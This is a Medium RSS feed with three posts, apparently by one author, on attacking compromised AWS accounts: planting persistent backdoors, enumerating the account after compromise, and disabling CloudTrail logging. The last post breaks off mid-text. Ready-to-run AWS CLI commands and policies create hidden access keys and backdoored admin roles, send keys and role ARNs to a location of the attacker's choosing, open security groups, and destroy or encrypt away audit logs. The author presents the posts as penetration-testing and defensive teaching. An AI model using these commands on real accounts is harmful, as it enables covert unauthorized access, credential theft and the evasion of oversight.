<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Daniel Grzelak on Medium]]></title>
        <description><![CDATA[Stories by Daniel Grzelak on Medium]]></description>
        <link>https://medium.com/@dagrz?source=rss-ec40c812d292------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*BkNocqX5AcvdAFJaZdJOmQ.jpeg</url>
            <title>Stories by Daniel Grzelak on Medium</title>
            <link>https://medium.com/@dagrz?source=rss-ec40c812d292------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 21:57:03 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@dagrz/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Backdooring an AWS account]]></title>
            <link>https://medium.com/daniel-grzelak/backdooring-an-aws-account-da007d36f8f9?source=rss-ec40c812d292------2</link>
            <guid isPermaLink="false">https://medium.com/p/da007d36f8f9</guid>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Daniel Grzelak]]></dc:creator>
            <pubDate>Sat, 09 Jul 2016 12:19:39 GMT</pubDate>
            <atom:updated>2021-06-08T11:43:02.073Z</atom:updated>
            <content:encoded><![CDATA[<p>So you’ve pwned an AWS account — congratulations — now what? You’re eager to get to the data theft, <em>amirite</em>? Not so fast whipper snapper, <a href="https://danielgrzelak.com/disrupting-aws-logging-a42e437d6594">have you disrupted logging</a>? <a href="https://danielgrzelak.com/exploring-an-aws-account-after-pwning-it-ff629c2aae39">Do you know what you have?</a> Sweet! Time to get settled in.</p><p>Maintaining persistence in AWS is only limited by your imagination but there are few obvious and oft used techniques everyone should know and watch for.</p><p>No one wants to get locked out before mid hack so grab yourself some temporary credentials.</p><pre>aws sts get-session-token --duration-seconds 129600</pre><blockquote>Acceptable durations for IAM user sessions range from 900 seconds (15 minutes) to 129600 seconds (36 hours), with 43200 seconds (12 hours) as the default. Sessions for AWS account owners are restricted to a maximum of 3600 seconds (one hour). If the duration is longer than one hour, the session for AWS account owners defaults to one hour.</blockquote><p>You’ll want to setup a cron job to do this regularly from here on out. It might sound crazy, but it ain’t no lie. Baby, bye, bye, bye (Sorry got distracted). A sensible person might assume that deleting a compromised access key is a reasonable way to expunge an attacker. Alas, disabling or deleting the original access key does not kill any temporary credentials created with the original. So if you find yourself ousted, you may still get somewhere between 0 and 36 hours to recover.</p><p>There are some limitations:</p><ul><li>You cannot call any IAM APIs unless MFA authentication information is included in the request.</li><li>You cannot call any STS API except assume-role.</li></ul><p>That does create an annoyance but an annoyance that’s trivially overcome. Assuming another role is an API call away. Spinning up compute running under another execution role or instance profile, that can call IAM, is almost as easy.</p><p>The best (worst?) part however, is that temporary session keys don’t show up anywhere. Checking the web interface or running “aws iam list-access-keys” is ineffective. There’s no “list-session-tokens” or “delete-session-token” to go along with “get-session-token”. There have been more sitings of the Loch Ness Monster in the wild than AWS session tokens.</p><p>This is the entire STS API at time of writing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nLw8t2CXHwlfUq8QRXL9CQ.png" /></figure><p>I really do hope Amazon does something about this soon. Having someone use <em>the force</em> instead of <em>the API</em> within the accounts I’m responsible for genuinely scares me.</p><p>Now that you have insurance, it’s time to burrow in. If being loud and drunk is your cup of Malört, you could just create a new user and access key. Make it look like an existing user, kind of like typo-squatting, and you’ll have yourself a genuine <a href="http://arstechnica.com/tech-policy/2016/03/what-is-a-lying-dormant-cyber-pathogen-san-bernardino-da-wont-say/">lying-dormant cyber pathogen</a>.</p><p>Busting out a new user and key takes two one-liners. Some might call it a two-liner but I’m not into that kind of thing.</p><pre>aws iam create-user --user-name [my-user]<br>aws iam create-access-key --user-name [my-user]</pre><p>In response, you’ll receive an <em>access key ID</em> and a <em>secret access key</em>, which you’ll want to take note of.</p><pre>{<br>    &quot;AccessKey&quot;: {<br>        &quot;UserName&quot;: &quot;[my-user]&quot;, <br>        &quot;Status&quot;: &quot;Active&quot;, <br>        &quot;SecretAccessKey&quot;: &quot;hunter2&quot;, <br>        &quot;AccessKeyId&quot;: &quot;ABCDEFGHIJKLMNOPQRST&quot;<br>    }<br>}</pre><p>That approach is nice but it’s not the kind of persistent persistence you want. Should the user or access key get discovered, it will take half the API calls to kill them that it did to create them. You’ll be left with only stories about how you used to hack things when you were young. I’ll be waiting for you there with my cup of washed-up sadness.</p><p>Instead of creating a new account, it’s more effective to create a new access key for every user in bulk. Bonus points to those who acquire temporary session tokens at the same time.</p><p>The code to do it is straightforward. Even a manager (like me) can write it.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/f3922ed7f18024292335e1d260f27bc3/href">https://medium.com/media/f3922ed7f18024292335e1d260f27bc3/href</a></iframe><p>The error handling is somewhat important here as the default key limit per user is two and you will bump up against it semi regularly. Additionally, all access keys have visible creation timestamps which make them easy to spot during a review. Another limitation is that federated (SAML authenticated) users won’t be affected as they integrate with roles rather than user accounts.</p><p>At this point any good auditor would claim that this was merely a point-in-time activity, leaving potentially risky compliance gaps when new accounts are created in the future. Alas feisty auditors, there is a solution!</p><p>Just create a <a href="https://aws.amazon.com/lambda/details/">Lambda</a> function that reacts to user creations via a <a href="http://docs.aws.amazon.com/AmazonCloudWatch/latest/DeveloperGuide/WhatIsCloudWatchEvents.html">CloudWatch Event Rule</a> and automagically adds a disaster recovery access key and posts it to a PCI-DSS compliant location of your choosing.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/63da92697b0733ac8474adfd1f0db62b/href">https://medium.com/media/63da92697b0733ac8474adfd1f0db62b/href</a></iframe><p>AWS Lambda is a server-less compute thingy (only precise technical terms allowed) that runs a function immediately in response to events and automatically manages the underlying infrastructure. CloudWatch Event Rules are a mechanism for notifying other AWS services of state changes in resources in near real time. They have a very natural relationship as CloudWatch provides the sub-system for monitoring AWS API calls and invoking Lambda functions that execute self-contained business logic.</p><p>The API calls and deployment packaging required to setup a Lambda function are a bit convoluted but well documented. You can plough through manually and gain valuable plough experience or use a framework like <a href="https://github.com/serverless/serverless">Serverless</a> to avoid unnecessary wear on your delicate hands. Just ensure the function’s execute role has the “iam:CreateAccessKey” permission.</p><p>Users are so 90s though! Like the Backstreet Boys. Not like Michael Bolten. He’s timeless. I mean, how am I supposed to live without him? Now that I’ve been lovin’ him so long.</p><p>The AWS recommended ISO* compliant method for escalating privileges is to use the STS <em>assume role</em> API call. Amazon describes it so perfectly, I would be robbing you by not quoting it directly.</p><blockquote>For cross-account access, imagine that you own multiple accounts and need to access resources in each account. You could create long-term credentials in each account to access those resources. However, managing all those credentials and remembering which one can access which account can be time consuming. Instead, you can create one set of long-term credentials in one account and then use temporary security credentials to access all the other accounts by assuming roles in those accounts.</blockquote><p>Sold! First, create the role.</p><pre>aws iam create-role \<br> --role-name [my-role] \<br> --assume-role-policy-document [file://assume-role-policy.json]</pre><p>The assume role policy document must include the ARN of the users, roles or accounts that will be accessing the backdoored role. It’s best to specify “[account-id]:root”, which acts as a wild card for all users and roles in a given account.</p><pre>{<br>  &quot;Version&quot;: &quot;2012-10-17&quot;,<br>  &quot;Statement&quot;: [<br>    {<br>      &quot;Effect&quot;: &quot;Allow&quot;,<br>      &quot;Principal&quot;: {<br>        &quot;AWS&quot;: &quot;arn:aws:iam::[account-id]:root&quot;<br>      },<br>      &quot;Action&quot;: &quot;sts:AssumeRole&quot;<br>    }<br>  ]<br>}</pre><p>Then attach a policy to the backdoored role describing the actions it can perform. All of them, IMHO. The pre-canned “AdministratorAccess” policy works a treat as it is analogous to root.</p><pre>aws iam attach-role-policy \<br> --policy-arn arn:aws:iam::aws:policy/AdministratorAccess \<br> --role-name [my-role]</pre><p>There you have it, a freshly minted role to assume from your other pwned accounts without the hassle of all of managing those pesky extra credentials.</p><p>While elegant, this approach does have its disadvantages. At some point in the chain of role assumptions, access credentials are required. In the event those credentials or pwned accounts are discovered and purged, your access will die with them.</p><p>As before, it’s more effective to backdoor the existing roles in an account than create new ones. The code is trickier this time because it requires massaging of existing assume role policies and their structural edge cases. I’ve tried to comment them fully in the code below but edge cases may have been missed.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/4cd9558d3b3e31940c14e682a7328ce0/href">https://medium.com/media/4cd9558d3b3e31940c14e682a7328ce0/href</a></iframe><p>While adding adding access keys to a user leaves a trail of recent creation timestamps, by default there is no easy way to identify which part of a policy has been modified. Defenders may be able to identify that a policy has been changed, but without external record keeping of previous policy versions, they will be left to comb through each policy to look for bad account trusts. This is made more difficult through randomisation of source account ARNs.</p><p>Finally, to future proof it all, create a Lambda function that responds to role creations via a CloudWatch Event Rule. As with the access key example, the below code posts the backdoored ARN to a location of your choosing. You may also want to send the role’s permissions and source ARN.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/0178d04a0dfbaae8fee99dd478d2eff6/href">https://medium.com/media/0178d04a0dfbaae8fee99dd478d2eff6/href</a></iframe><p>If you were less lazy than me, you could make the code react to UpdateAssumeRolePolicy calls and reintroduce backdoors that are removed.</p><p>Sometimes you’ll want to maintain access to live resources rather than the AWS API. For those situations there’s one other basic access persistence tactic worth discussing in an introductory piece, security groups. Security groups tend to get in the way of such things; SSH and database ports aren’t typically accessible to the Internet.</p><blockquote>A security group acts as a virtual firewall for your instance to control inbound and outbound traffic. When you launch an instance in a VPC, you can assign the instance to up to five security groups. Security groups act at the instance level, not the subnet level. Therefore, each instance in a subnet in your VPC could be assigned to a different set of security groups.</blockquote><p>In practice, “instances” is broader than just EC2. Security groups could be applied to Lambda functions, RDS databases, and other resources that support <a href="https://aws.amazon.com/vpc/">VPCs</a>.</p><p>By now you know the drill. Creating a new security group or rule and applying it to one or two resources is okay but let’s skip that step and just do all of them. Shockingly (can I be shocked by own set definitions?), “all of them” includes the <em>default</em> security group. This is important because if a resource does not have a security group associated with it, the <a href="http://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_SecurityGroups.html#DefaultSecurityGroup"><em>default</em> security group is implicitly associated</a>.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/63ce6af562376e8622836bdc49172916/href">https://medium.com/media/63ce6af562376e8622836bdc49172916/href</a></iframe><p>Some older accounts still have services running “EC2 Classic” mode, which means that modifying only EC2 security groups is not sufficient. Back in the day RDS, ElastiCache, and Redshift had their own implementations of security groups. Their relevant authorise functions would need to be called to get full security group coverage:</p><ul><li>authorize_db_security_group_ingress</li><li>authorize_cache_security_group_ingress</li><li>authorize_cluster_security_group_ingress</li></ul><p>This approach has been phased out. In fact, accounts created after 4th December 2013 cannot use EC2 Classic at all.</p><p>Finally, complete the circle of life with a Lambda function that executes when create security group CloudWatch Event Rules are fired.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/3fe70a55c23e7782d40627e3c2598383/href">https://medium.com/media/3fe70a55c23e7782d40627e3c2598383/href</a></iframe><p>The extra access rules are pretty easy to spot just by eyeballing the security group. However, the workflow for creating a security group via the web console involves defining all the rules prior to actually calling the API. Consequently, unless someone returns to refine a security group, they are unlikely to notice the extra line item.</p><p>Between this and the other tactics, you should be well untruly entrenched in a pwned AWS account. You might not be a <a href="http://news.nationalgeographic.com/news/2011/06/110601-deepest-worm-earth-devil-science-animals-life/">devil worm</a> but you are certainly a wombat. An AWS WOMBAT!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*DeJ3bFrkdRDCcotklNpKBw.png" /></figure><p>It is obvious that information could be used for good and evil. I used it to strengthen the security posture of accounts I am responsible for and make detection processes testable. Professional penetration testers will use it to mimic real world attackers in their engagements. Please do the same. Don’t be evil.</p><p>Whatever your choice, none of this is unattainable to even the scriptiest (anyone know why there’s a red underline under that word? hmmm) of script kiddies. It’s better for everyone to have access to the knowledge then just the bad guys.</p><p>—</p><p>Want to learn to hack AWS? I offer immersive online and in-person training to corporate teams at <a href="https://hackaws.cloud/">hackaws.cloud</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=da007d36f8f9" width="1" height="1" alt=""><hr><p><a href="https://medium.com/daniel-grzelak/backdooring-an-aws-account-da007d36f8f9">Backdooring an AWS account</a> was originally published in <a href="https://medium.com/daniel-grzelak">HackAWS.cloud</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploring an AWS account post-compromise]]></title>
            <link>https://medium.com/daniel-grzelak/exploring-an-aws-account-after-pwning-it-ff629c2aae39?source=rss-ec40c812d292------2</link>
            <guid isPermaLink="false">https://medium.com/p/ff629c2aae39</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[aws]]></category>
            <dc:creator><![CDATA[Daniel Grzelak]]></dc:creator>
            <pubDate>Thu, 23 Jun 2016 11:35:24 GMT</pubDate>
            <atom:updated>2021-06-08T11:43:33.577Z</atom:updated>
            <content:encoded><![CDATA[<p>So you’ve pwned an AWS account — congratulations — now what? You’re eager to get to the data theft, <em>amirite</em>? Not so fast grasshopper, <a href="https://danielgrzelak.com/disrupting-aws-logging-a42e437d6594">have you disrupted logging</a>? Choice! Time to look around and understand what you have.</p><p>Your instinct is probably to type “whoami” and luckily AWS has an equivalent.</p><pre>aws sts get-caller-identity</pre><p>It won’t give you much but it will start painting the picture. The information returned is “not secret” but it can be painful to obtain otherwise. For example, crafting Amazon Resource Names (ARNs) is a key part doing stuff in AWS but account numbers, a constituent part of ARNs, are not typically disclosed outside an account. The identity ARN will also likely have a descriptive role or user name that may give you immediate feel for your access.</p><pre>{<br>    &quot;Account&quot;: &quot;123456789012&quot;, <br>    &quot;UserId&quot;: &quot;ABCDEFGHIJKLMNOPQRSTUV&quot;, <br>    &quot;Arn&quot;: &quot;arn:aws:iam::123456789012:user/root&quot;<br>}</pre><p>From here, there are a number of options depending on your goals.</p><p>Most big organisations that utilise AWS will connect their data centres and offices directly to Amazon using the Direct Connect service.</p><blockquote>AWS Direct Connect links your internal network to an AWS Direct Connect location over a standard 1 gigabit or 10 gigabit Ethernet fiber-optic cable. One end of the cable is connected to your router, the other to an AWS Direct Connect router. With this connection in place, you can create virtual interfaces directly to the AWS cloud …, bypassing Internet service providers in your network path.</blockquote><p>Like other AWS services, there is an API to interact with and it can be extremely revealing. Describing locations will display meta data about any connections.</p><pre>aws directconnect describe-locations | jq &#39;.locations [] | .locationCode + &quot; &quot; + .locationName&#39;</pre><p>A typical result will include a list of aliases and physical facility locations.</p><pre>&quot;MyDC1 N 11600 W, Saratoga Springs, UT 84045&quot;<br>&quot;MyDC2 7135 S Decatur Blvd, Las Vegas, NV 89118&quot;<br>&quot;NSADC 1400 Defense Pentagon Washington, DC 20301&quot;</pre><p>That information has a nice synergy (now there is only ‘information super highway’ on my bingo board) with route table data provided by interrogating the EC2 API.</p><pre>aws ec2 describe-route-tables | \jq &#39;.RouteTables | .[] | .Routes [] | .GatewayId + &quot; &quot; +  .DestinationCidrBlock&#39; | sort | uniq</pre><p>You should be able to match locations with the returned IP ranges and later use the matches to tunnel back into data centres or sometimes, even corporate networks. The above command filters out the noise, showing only gateway IDs and destination networks.</p><pre>“local 10.10.10.0/22”<br>&quot;vgw-12345678 10.0.0.0/8&quot;<br>&quot;vgw-12345678 192.168.0.0/12&quot;<br>...</pre><p>Virtual gateways are associated with virtual private clouds (VPCs), which are the network containers used to group resources like EC2 instances and Lambda functions. If you can compromise such a resource or create one in the right VPC, you should be able to route normally through those gateways unless network ACLs prevent it. Listing NACLs is also an EC2 call.</p><pre>aws ec2 describe-network-acls | jq &#39;.NetworkAcls [] .Entries [] | .Protocol + &quot; &quot; + .RuleAction + &quot; &quot; + .CidrBlock&#39; | sort | uniq</pre><p>Any deny rules are valuable in that they provide a ready made target list of things your target does not want outsiders to access. As you might expect, the rules are manageable through API. Protocol numbers are as per the <a href="http://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml">IANA Assigned Internet Protocol Numbers</a>, and -1 is a wildcard for all protocols.</p><pre>&quot;-1 allow 0.0.0.0/0&quot;<br>&quot;6 deny 10.1.2.0/24&quot;<br>&quot;6 deny 192.168.1.2/32&quot;</pre><p>As an aside. Amazon appears to have made a blunder bundling bazillions (alliteration achievement attained) of extraneous API functions into the EC2 API namespace. It is both common and easy to write lazy AWS policies that allow all actions to be executed in a particular API. For example:</p><pre>&quot;Action&quot;: &quot;ec2:*&quot;</pre><p>One final query worth running to get a better sense of the network is to ask Route53 for all of the hosted zones.</p><pre>aws route53 list-hosted-zones | jq &#39;.HostedZones [] .Name&#39;</pre><p>As you might expect, this produces a simple of domain names owned by your target and controlled in AWS.</p><pre>&quot;company.com.&quot;<br>&quot;internal-company.com.&quot;<br>&quot;secret-new-product.com.&quot;<br>...</pre><p>After you’ve mapped all the networky bits, it’s time to move on to identities and access.</p><blockquote>AWS Identity and Access Management (IAM) is a web service that you can use to manage users and user permissions under your AWS account.</blockquote><p>IAM is where a lot of the magic and good stuff lives. It’s extremely complicated but extremely powerful, and likely where you will be investing a lot of your reconnaissance and persistence efforts.</p><p>Listing users will give you a feel for both the size of the account and the scope of attack surface.</p><pre>aws iam list-users | jq &#39;.Users [] .Arn&#39;</pre><p>People tend to name users using either their identity or the intended purpose of the account.</p><pre>&quot;arn:aws:iam::123456789012:user/JohnSmith&quot;<br>&quot;arn:aws:iam::123456789012:user/Twitter&quot;<br>&quot;arn:aws:iam::123456789012:user/IntegrationBot&quot;<br>...</pre><p>In large enterprise accounts you may find yourself in the odd situation of the user list being tiny. That could be because authentication is federated via a SAML provider. To reveal this situation, list the identity providers using the IAM API.</p><pre>aws iam list-saml-providers | jq ‘.SAMLProviderList [] .Arn’</pre><p>Most of the <a href="http://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_saml_3rd-party.html">major 3rd party identity services integrate seamlessly</a> with AWS so its not unusual for one of those to be returned.</p><pre>“arn:aws:iam::123456789012:saml-provider/Octa”<br>“arn:aws:iam::123456789012:saml-provider/PingIdentity”</pre><p>The SAML provider an organisation uses for AWS authentication is highly correlated with the provider they use for other cloud services and internal systems — Yay for single sign-on. Knowing this can dramatically change other tactics you employ and reduce rage from banging your head against an invisible 2FA brick wall.</p><p>However, the true power of IAM is in <em>roles</em>. Roles are assumed by users authenticating via SAML. Roles are how Amazon recommends you start your EC2 instances and how it forces you to work in newer services like Lambda. Roles are the magic that gives you <a href="http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/iam-roles-for-amazon-ec2.html">keyless API calls</a>. Roles are the future.</p><blockquote>You can use roles to delegate access to users, applications, or services that don’t normally have access to your AWS resources. For example, you might want to grant users in your AWS account access to resources they don’t usually have, or grant users in one AWS account access to resources in another account. Or you might want to allow a mobile app to use AWS resources… Sometimes you want to give AWS access to users who already have identities defined outside of AWS, such as in your corporate directory. Or, you might want to grant access to your account to third parties so that they can perform an audit on your resources.</blockquote><p>If roles are the future, the ‘list-roles’ function is the Almanac from Back to the Future Part II.</p><pre>aws iam list-roles | jq &#39;.Roles [] .Arn&#39;</pre><p>In general role names also tend to be quite descriptive. The full list of role ARNs is critical in escalating privileges and moving laterally within AWS.</p><pre>&quot;arn:aws:iam::123456789012:role/LambdaRole&quot;<br>&quot;arn:aws:iam::123456789012:role/AdminRole&quot;<br>&quot;arn:aws:iam::123456789012:role/TestRole&quot;<br>...</pre><p>Conveniently, if you are bored and want to go through all user, role, and policy data with a fine-tooth comb (the hyphen is important because I’m not sure what you’d do with a fine tooth-comb?!), there’s an API to retrieve all the details at once.</p><pre>aws iam get-account-authorization-details</pre><p>Finally, while SSH key pairs aren’t strictly part of IAM — they are predictably part of EC2 — they are another identifier that can help with mapping how an organisation deals with access.</p><pre>aws ec2 describe-key-pairs | jq &#39;.[][] .KeyName&#39;</pre><p>You should see a list of key names, which might tell you who has access to resources and for what purpose. Shared keys might make for good targets.</p><pre>&quot;janes-ssh-key&quot;<br>&quot;team-shared-key&quot;<br>&quot;product-deployment-key&quot;<br>...</pre><p>AWS has a pretty extensive and easy to use support program, accessible from the web interface. It turns out that the typical message based support interaction provided by the web interface, is just a thin layer over yet another API.</p><blockquote>The AWS Support API reference is intended for programmers who need detailed information about the AWS Support operations and data types. This service enables you to manage your AWS Support cases programmatically.</blockquote><p>You can list support cases to gather interesting intelligence about what the account administrators are attempting to resolve and identify areas of concern.</p><pre>aws support describe-cases --include-resolved-cases | jq &#39;.cases [] | .subject&#39;</pre><p>… Like a a compromise of their AWS account.</p><pre>&quot;Limit Increase: EC2 Instances&quot;<br>&quot;My password doesn&#39;t work - please set it to hunter2.&quot;<br>&quot;I think someone hacked our AWS account&quot;<br>...</pre><p>At this point, you might consider easing the stress on overworked Amazon support staff by closing any such cases with a comment like, “Nvm dudez, it waz just our Nessus boxen gone rogue”.</p><p>Within a single account, support cases are often logged by many users, and those cases can spiral into big CC chains. This provides an opporunity to gather email addresses to target in later activity.</p><pre>aws support describe-cases --include-resolved-cases | jq &#39;.cases [] | .submittedBy, .ccEmailAddresses []&#39; | sort | uniq</pre><p>This article was written under the assumption you have access to an AWS API key or role with some reasonably broad permissions, and an up-to-date installed <a href="http://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html">awscli</a> &amp; <a href="https://stedolan.github.io/jq/">jq</a>.</p><p>More importantly, it was written to enlighten AWS account administrators and improve legitimate penetration testing TTPs. In fact, as I wrote this article, engineers at my workplace implemented mitigations, detection logic and tests for gaps this work identified. Regardless, let’s not fool ourselves, our foes are already Internet Explorers of the Highest Order of Business Excellence. They are setting sail in our clouds right now.</p><p>—</p><p>Want to learn to hack AWS? I offer immersive online and in-person training to corporate teams at <a href="https://hackaws.cloud/">hackaws.cloud</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ff629c2aae39" width="1" height="1" alt=""><hr><p><a href="https://medium.com/daniel-grzelak/exploring-an-aws-account-after-pwning-it-ff629c2aae39">Exploring an AWS account post-compromise</a> was originally published in <a href="https://medium.com/daniel-grzelak">HackAWS.cloud</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Disrupting AWS logging]]></title>
            <link>https://medium.com/daniel-grzelak/disrupting-aws-logging-a42e437d6594?source=rss-ec40c812d292------2</link>
            <guid isPermaLink="false">https://medium.com/p/a42e437d6594</guid>
            <category><![CDATA[logging]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Daniel Grzelak]]></dc:creator>
            <pubDate>Sun, 05 Jun 2016 11:11:34 GMT</pubDate>
            <atom:updated>2021-06-08T11:43:55.282Z</atom:updated>
            <content:encoded><![CDATA[<p>So you’ve pwned an AWS account — congratulations — now what? You’re eager to get to the data theft, <em>amirite</em>? What about that whole cyber kill chain thing; installation, command &amp; control, actions on objectives?</p><p>What if someone is watching? Too many questions guy… Let’s just disable logging and move on to the fun stuff.</p><p>The main source of log data in AWS are CloudTrails.</p><blockquote>You can use AWS CloudTrail to get a history of AWS API calls and related events for your account. This includes calls made by using the AWS Management Console, AWS SDKs, command line tools, and higher-level AWS services.</blockquote><p>Let’s check out what CloudTrails are enabled:</p><pre>aws cloudtrail describe-trails</pre><p>If you see an empty list, you might want to send your victim a t-shirt and thank them for their participation, kind of like a reverse bug bounty. If you see one or more trails, the fun starts now.</p><p>Depending on your mood (and occasionally your pwned account’s access policy), AWS offers a buffet of options. So much so, I used to be indecisive but now I’m not so sure.</p><p>Starting with the obvious and loudest, deleting the CloudTrail:</p><pre>aws cloudtrail delete-trail --name [my-trail]</pre><p>Only slightly less obvious, disabling logging:</p><pre>aws cloudtrail stop-logging --name [my-trail]</pre><p>Your target may be actively monitoring both of those API calls so those tactics are probably best left to nights of drunken regret and forcefully purged with tequila.</p><p>Most resources in AWS are region specific. However, CloudTrails are a little different and can be configured to be global. While it’s a default, it’s not super common for a trail bound to a home region, and that makes the setting a perfect target for manipulation. Disabling multi region logging gives you free reign in every region except for the one the trail was created in.</p><pre>aws cloudtrail update-trail --name [my-trail] --no-is-multi-region-trail --no-include-global-service-events</pre><p>You may have noticed two flags being unset in the above command. The second also “specifies whether the trail is publishing events from global services such as IAM”, which is handy if you want to say, create some backdoor accounts and API keys. It can only be unset if the first is also unset which is unfortunate for stealthiness.</p><p>One of the great things about AWS is they’ve really thought about security. In fact, they’ve created many services specifically designed and dedicated to security. For example, the Key Management Service (KMS) tightly integrates with other services to provide almost seamless encryption. It just so happens that integration includes CloudTrail.</p><p>It’s a little bit more effort to get CloudTrail encryption bootstrapped but it’s well worth it. Once enabled, log files will be encrypted but everything else will look normal; configuration will remain almost identical and log files will continue to be delivered to the correct location, in the expected structure.</p><p>First, let’s setup a policy file for a new key, ensuring it only allows encryption by CloudTrail and nothing else — we don’t want those pesky administrators using it for decryption. Note the references to <em>[account-id]</em> which have to be replaced as appropriate.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/bcaefdafe7e08278d4d1d10b5c7f7efb/href">https://medium.com/media/bcaefdafe7e08278d4d1d10b5c7f7efb/href</a></iframe><p>AWS policies default to deny rules so this policy also denies its own deletion. While not useful, its a painful kick to the nether regions requiring manual Support intervention.</p><p>Create a key, attaching the policy:</p><pre>aws kms create-key --bypass-policy-lockout-safety-check --policy [file:///my-policy.json]</pre><p>The “bypass-policy-lockout-safety-check” flag allows you the make the key’s policy immutable after creation, making logging just an exercise in lighting money on fire with disk consumption. You can’t say Amazon didn’t warn you!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*gRfSzs59mEwhB17OgtSXkw.png" /></figure><p>Finally, put it all together by encrypting the target trail with the immutable encryption-only key:</p><pre>aws cloudtrail update-trail --name [my-trail] --kms-key-id [my-key]</pre><p>While that’s by far the slickest encryption tactic, there are others. You can start encrypting a trail, disable the key and schedule it for deletion. If you aren’t going to disable the key, you can remove the <em>disable</em> and <em>delete</em> actions from the policy to make the key undeletable (it’s a word, trust me).</p><pre>aws kms disable-key --key-id [my-key]<br>aws kms schedule-key-deletion --key-id [my-key] --pending-window-in-days 7</pre><p>The deletion won’t happen for 7 days but the trail won’t be written regardless. Manually inspecting the trail in the AWS web interface won’t show any signs of failure either, unless the vicim is familiar enough with the interface to notice a missing ‘last delivered’ section. However, checking the trail status via cli will show “LatestDeliveryError” as “KMS.DisabledException”.</p><pre>aws cloudtrail get-trail-status --name [my-trail]</pre><p>Finally, if you really wanted to be mean, you could set the encryption key to be one hosted in another account you control. The only minor change required to the base tactic is to ensure the “GenerateDataKey*” action includes the source account-id in the condition section.</p><p>If you wanted to be even meaner and found out your victim knew you did this mean thing, you could send them an email suggesting they make a one time tax-free donation to get a copy of the key. That’s a joke — ransomware is pure evil and needs to die in a fire but doing it through AWS does add some dramatic effect, no?</p><p>CloudTrails are written to S3 buckets so logs can be redirected to a separate account owned by someone else. You know, like… you. Or better yet, a cyber-patsy™ (I thought this blog was cyber free?). The S3 namespace is global and world writable buckets are more plentiful than poop in my kid’s nappies, and that’s saying a lot! More on that at some point in the future (the buckets not the poop).</p><pre>aws cloudtrail update-trail --name my-trail --s3-bucket-name [cyber-patsy-bucket]</pre><p>I know what you are thinking. Scrap that, I barely know what I am thinking but this S3 bucket stuff is interesting, right?</p><p>Targeting the S3 bucket where logs are being written has some distinct advantages. It’s much stealthier than manipulating a trail directly. It’s also more likely to be an available option in a more restricted account context.</p><p>As with encryption keys, it is possible to delete a bucket being used for logging.</p><pre>aws s3 rb --force [s3://my-bucket]</pre><p>The results are much the same with the exception that the failure is very visible when the affected trail is viewed in the AWS web console.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dg-LcJIt9iQPYK66g5khfg.png" /></figure><p>Similarly, it’s possible to update the bucket policy to prevent CloudTrail from writing to it. Simply delete the “AWSCloudTrailWrite20150319” section of the default generated policy.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/1f948e7c6f3e8c9d0bf1bdf25dfef9cd/href">https://medium.com/media/1f948e7c6f3e8c9d0bf1bdf25dfef9cd/href</a></iframe><p>Then write the policy to the bucket.</p><pre>aws s3api put-bucket-policy --bucket [my-trail] --policy [file:///my-policy.json]</pre><p>Again, logging will stop and the web console will display a policy error when viewing the affected trail.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IsSYkgQIJ2VNs92rG-Vpog.png" /></figure><p>I did attempt to abuse bucket ACLs — these are separate from policies, not sure why — but came up with nothing. It seems even removing the owners ACL wasn’t effective as it could simply be reinstated by the bucket owner.</p><p>One of the stealthiest but riskiest options to disrupt logging is to manipulate the target bucket’s lifecycle policy. Buckets can be configured to automatically delete objects after one (or more) days.</p><pre>aws s3api put-bucket-lifecycle-configuration \<br> --bucket [my-bucket] \<br> --lifecycle-configuration [file://s3-lifecycle-config.json]</pre><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a 